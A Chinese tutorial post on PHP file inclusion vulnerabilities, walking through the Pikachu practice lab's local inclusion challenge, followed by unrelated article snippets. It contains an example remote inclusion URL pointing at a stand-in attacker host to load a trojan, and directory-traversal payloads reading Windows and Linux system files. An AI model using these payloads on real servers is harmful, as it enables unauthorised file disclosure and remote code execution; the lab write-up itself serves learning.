文件包含漏洞: 函数,实例[pikachu_file_inclusion_local]

文件包含

文件包含是一种较为常见技术,允许程序员在不同的脚本或程序中重用代码或调用文件

主要作用和用途:

  1. 代码重用:通过将通用函数或代码段放入单独的文件中,可以在多个脚本中包含这些文件,避免重复编写相同代码。

  2. 模块化设计:文件包含支持模块化编程,有助于将大型应用程序分解为更小、更易于管理的模块。

  3. 功能分离:将不同的功能实现分离到不同的文件中,使得代码结构更加清晰,便于维护和更新。

文件包含简单示例

使用include函数,在代码中引用html头部和尾部标签,实现网页的编写

index.php<?php
// 包含头部文件
include "header.php";// 页面的主要内容
echo "<h1>欢迎来到首页</h1>";
echo "<p>这是一个示例页面。</p>";// 包含尾部文件
include "footer.php";
?>

html头部文件

header.php
<!DOCTYPE html>
<html>
<head><title>示例页面</title><meta charset="UTF-8"><script src="script.js"></script>
</head>
<body>

html尾部文件

footer.php</body>
</html>

PHP常见的文件包含函数

函数用法介绍主要用途
include()include 'filename.php';包含并执行指定文件。如果文件不存在,将产生警告,但脚本会继续执行。用于包含那些可能会重复使用的代码文件,如配置文件、库文件等。
require()require 'filename.php';包含并执行指定文件。如果文件不存在,将产生错误,脚本会终止执行。用于包含那些对脚本至关重要的文件,如初始化脚本。
include_once()include_once 'filename.php';如果文件已经被包含,则不会再次包含。执行效果与include()相同。用于包含那些在整个脚本执行过程中只需要包含一次的文件。
require_once()require_once 'filename.php';如果文件已经被包含,则不会再次包含。执行效果与require()相同。用于确保关键文件在整个脚本执行过程中只被加载一次。
require_all()*require_all 'directory/';不标准:递归包含指定目录下的所有PHP文件。具体实现可能因环境而异。

 文件包含漏洞

原理

当网站引入了代码或程序,且并没有对来源进行严格的校验时,就可能产生文件包含漏洞

漏洞类型

1.本地文件包含:网站包含本地服务器文件

        危害:敏感文件泄露

        url示例:http://example.com/page.php?file=info.php

2.远程文件包含:网站包含远程服务器文件

        危害:引用外部木马文件,服务器窃取

        url示例:http://example.com/page.php?file=http://attacker.com/remote.php

攻击流程

<1.寻找可能存在该漏洞的网站,如url中携带[file,file=http,FileName]等参数的网站

<2.更改文件引用路径,尝试读取本地文件,或引用外部服务器文件

<3.尝试使用伪协议执行命令,或查找文件

漏洞实例

本地文件包含[pikachu_file_inclusion_local]源码讲解

源码解读

if(isset($_GET['submit']) && $_GET['filename']!=null){$filename=$_GET['filename'];include "include/$filename";
}

1.判断前端传递参数,中是否存在submit参数,并且filename参数值为非空

        <1 使用isset函数检查变量是否存在且非空

        <2 使用比较运算符 != 判断参数filename的值不为空

        <3 使用 逻辑与  && 将上述两个条件表达式进行拼接

        <4 条件表达式同为真(true),执行if内的代码块

2.创建变量filename接收前端参数filename的值

        <1 创建变量filename接收前端filename的值

3.将其拼接进include路径下,并使用include进行包含

        <1 将获取到的变量名拼接入,当前路径下的include文件夹路径下

        <2 PHP解释器在执行include语句时,解析字符串中的变量,并用变量的值进行替换

        <3 如果文件存在,会进行读取并显示

攻击流程

1.寻找攻击点

fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4

更改不同选项提交,参数filename的值随打开不同的文件,进行切换

2.更改携带参数观察页面状态

此处显示报错,并回显得出信息。

<1>windows系统

<2> 网站目录:F:\php-study\WWW\pikachu\pikachu\vul\fileinclude\fi_local.php

3.读取系统文件,并在无报错回显情况下,查询信息

原理:(../)可以查询上级目录下内容,且如果多个连用时可以忽视目录层级进行文件查询

windows系统配置文件:../../../../../windows/system.ini

 linux内核信息文件:../../../../../../../../../../../../proc/version

#如果没显示,尝试多写几层

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/47683.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RabbitMQ的学习和模拟实现|Protobuf的介绍和简单使用

protbuf的介绍和简单使用 项目仓库&#xff1a;https://github.com/ffengc/HareMQ protobuf的安装&#xff1a;README-cn.md#环境配置 基于Protobuf的一个小项目&#xff1a;基于protobuf和httplib的在线通讯录项目框架&#xff5c;Protobuf应用小项目 protobuf是什么 Pro…

TinyVue:与 Vue 交往八年的组件库

本文由体验技术团队莫春辉老师原创~ 去年因故停办的 VueConf&#xff0c;今年如约在深圳举行。作为东道主 & 上届 VueConf 讲师的我&#xff0c;没有理由不来凑个热闹。大会结束后&#xff0c;我见裕波在朋友圈转发 Jinjiang 的文章《我和 Vue.js 的十年》&#xff0c;我就…

openlayers 3d 地图 非三维 立体地图 行政区划裁剪 地图背景

这是实践效果 如果没有任何基础 就看这个专栏&#xff1a;http://t.csdnimg.cn/qB4w0 这个专栏里有从最简单的地图到复杂地图的示例 最终效果&#xff1a; 线上示例代码&#xff1a; 想要做这个效果 如果你的行政区划编辑点较多 可能会有卡顿感 如果出现卡顿感需要将边界点相应…

Python爬虫-淘宝搜索热词数据

前言 本文是该专栏的第70篇,后面会持续分享python爬虫干货知识,记得关注。 在本专栏之前,笔者有详细针对“亚马逊Amazon搜索热词”数据采集的详细介绍,对此感兴趣的同学,可以往前翻阅《Python爬虫-某跨境电商(AM)搜索热词》进行查看。 而在本文,笔者将以淘宝为例,获取…

【扩散模型(五)】IP-Adapter 源码详解3-推理代码

系列文章目录 【扩散模型&#xff08;一&#xff09;】中介绍了 Stable Diffusion 可以被理解为重建分支&#xff08;reconstruction branch&#xff09;和条件分支&#xff08;condition branch&#xff09;【扩散模型&#xff08;二&#xff09;】IP-Adapter 从条件分支的视…

【OAuth2系列】集成微信小程序登录到 Spring Security OAuth 2.0

作者&#xff1a;后端小肥肠 创作不易&#xff0c;未经允许严禁转载。 姊妹篇&#xff1a; 【Spring Security系列】权限之旅&#xff1a;SpringSecurity小程序登录深度探索_spring security 微信小程序登录-CSDN博客 目录 1. 前言 2. 总体登录流程 3. 数据表设计 3.1. sys…

Python测试服务器连接的实战代码

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

windows server——4.安装DNS管理器

windows server——4.安装DNS管理器 一、准备二、安装DNS管理器1.打开服务器管理器2.添加dns服务器 三、验证 一、准备 windows server电脑&#xff08;已安装IIS&#xff09; 静态网站数据包 二、安装DNS管理器 1.打开服务器管理器 2.添加dns服务器 点击管理——添加角色和…

Java语言程序设计基础篇_编程练习题*15.16(两个可移动的顶点以及它们间的距离)

*15.16&#xff08;两个可移动的顶点以及它们间的距离) 请编写一个程序&#xff0c;显示两个分别位于(40&#xff0c;40)和(120&#xff0c;150) 的半径为10的圆&#xff0c;并用一条直线连接两个圆&#xff0c;如图15-28b所示。圆之间的距离显示在直线上。 用户可以拖动圆&am…

指标平台新书发布:智能驱动,数据管研用一体化新革命

在当下数字化经营的市场环境中&#xff0c;企业面临着前所未有的挑战和机遇。随着业务的不断扩展和市场的日益复杂&#xff0c;数据作为企业的核心资产&#xff0c;其重要性愈发凸显。然而“数据孤岛和数据不清晰”这一问题却成为了制约企业数字化进程和竞争力的关键因素。为了…

Windows下载、安装、部署Redis服务的详细流程

本文介绍在Windows电脑中&#xff0c;下载、安装、部署并运行Redis数据库服务的方法。 Redis&#xff08;Remote Dictionary Server&#xff09;是一个开源、高性能的键值存储系统&#xff0c;最初由Salvatore Sanfilippo在2009年发布&#xff0c;并由Redis Labs维护。Redis因其…

<数据集>水果识别数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;10012张 标注数量(xml文件个数)&#xff1a;10012 标注数量(txt文件个数)&#xff1a;10012 标注类别数&#xff1a;7 标注类别名称&#xff1a;[Watermelon, Orange, Grape, Apple, peach, Banana, Pineapple] 序…

自建网站统计工具 Umami 替代 Google Analytics

本文首发于只抄博客,欢迎点击原文链接了解更多内容。 前言 Umami 是一款开源的网站统计工具,与 Google Analytics 相比更加的轻量,且不会收集网站用户的个人信息。同时,Umami 的仪表盘界面简洁,UI 精美,方便我们查看网站的历史统计数据。 Umami 使用方式也与 Google Ana…

n7.Nginx 第三方模块

Nginx 第三方模块 第三模块是对nginx 的功能扩展&#xff0c;第三方模块需要在编译安装Nginx 的时候使用参数–add-modulePATH指定路径添加&#xff0c;有的模块是由公司的开发人员针对业务需求定制开发的&#xff0c;有的模块是开 源爱好者开发好之后上传到github进行开源的模…

《0基础》学习Python——第二十四讲__爬虫/<7>深度爬取

一、深度爬取 深度爬取是指在网络爬虫中&#xff0c;获取网页上的所有链接并递归地访问这些链接&#xff0c;以获取更深层次的页面数据。 通常&#xff0c;一个简单的爬虫只会获取到初始页面上的链接&#xff0c;并不会进一步访问这些链接上的其他页面。而深度爬取则会不断地获…

python os库使用教程

os库使用教程 1.创建文件夹os.path.exists&#xff08;&#xff09;检查文件是否存在os.listdir查看文件夹下的所有文件filename.endswith()查看文件列表的png或者txt结尾的所有文件shutil.move移动目标到文件夹 1.创建文件夹 先在盘符里创建一个文件用来演示&#xff0c;我这里…

前端JS特效第48集:terseBanner焦点图轮播插件

terseBanner焦点图轮播插件&#xff0c;先来看看效果&#xff1a; 部分核心的代码如下(全部代码在文章末尾)&#xff1a; <!DOCTYPE html> <html lang"zh"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatibl…

HTTPServer改进思路1

Nginx源码思考项目改进 架构模式 事件驱动架构(EDA&#xff09;用于处理大量并发连接和IO操作 优点&#xff1a;高效处理大量并发请求&#xff0c;减少线程切换和阻塞调用技术实现&#xff1a;直接使用EPOLL&#xff0c;参考Node.js的http服务器 网络通信 协议&#xff1a;HTT…

【LeetCode】对称二叉树

目录 一、题目二、解法完整代码 一、题目 给你一个二叉树的根节点 root &#xff0c; 检查它是否轴对称。 示例 1&#xff1a; 输入&#xff1a;root [1,2,2,3,4,4,3] 输出&#xff1a;true 示例 2&#xff1a; 输入&#xff1a;root [1,2,2,null,3,null,3] 输出&#…

友力科技数据中心搬迁方案

将当前运行机房中的所有设备、应用系统安全搬迁至新数据中心机房&#xff0c;实现平滑切换、平稳过渡&#xff0c;最大限度地降低搬迁工作对业务的影响。 为了确保企事业单位能够顺利完成数据中心机房搬迁工作&#xff0c;我们根据实际经验提供了4个基本原则&#xff0c;希望能…